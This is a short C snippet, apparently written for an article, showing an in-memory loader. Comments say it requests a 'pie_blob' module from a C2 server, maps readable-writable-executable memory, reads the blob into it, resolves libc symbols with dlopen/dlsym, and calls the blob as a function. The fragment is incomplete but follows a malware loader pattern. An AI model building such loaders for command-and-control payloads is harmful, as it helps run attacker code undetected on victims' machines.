Position Independent Executable loader example for article

pie_blob_loader.c

// Request the pie_blob module from the C2 server 
// mmap exectuable memory 

fptr = mmap(NULL, sb.st_size, PROT_READ | PROT_EXEC | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);  

// read the blob into memory 
result = fread(fptr, 1, sb.st_size, pBlob);  

// grab whatever libraries/symbols I want (or even better, just get pointers to dlsym/dlopen) 
handle = dlopen(LIBC_FILE, RTLD_LAZY); 
*(void**) (&ex) = dlsym(handle, "exit");  

// then literally just call the function in pie_blob 
int i = 1; 
i = ((int(*)(int))fptr)(i);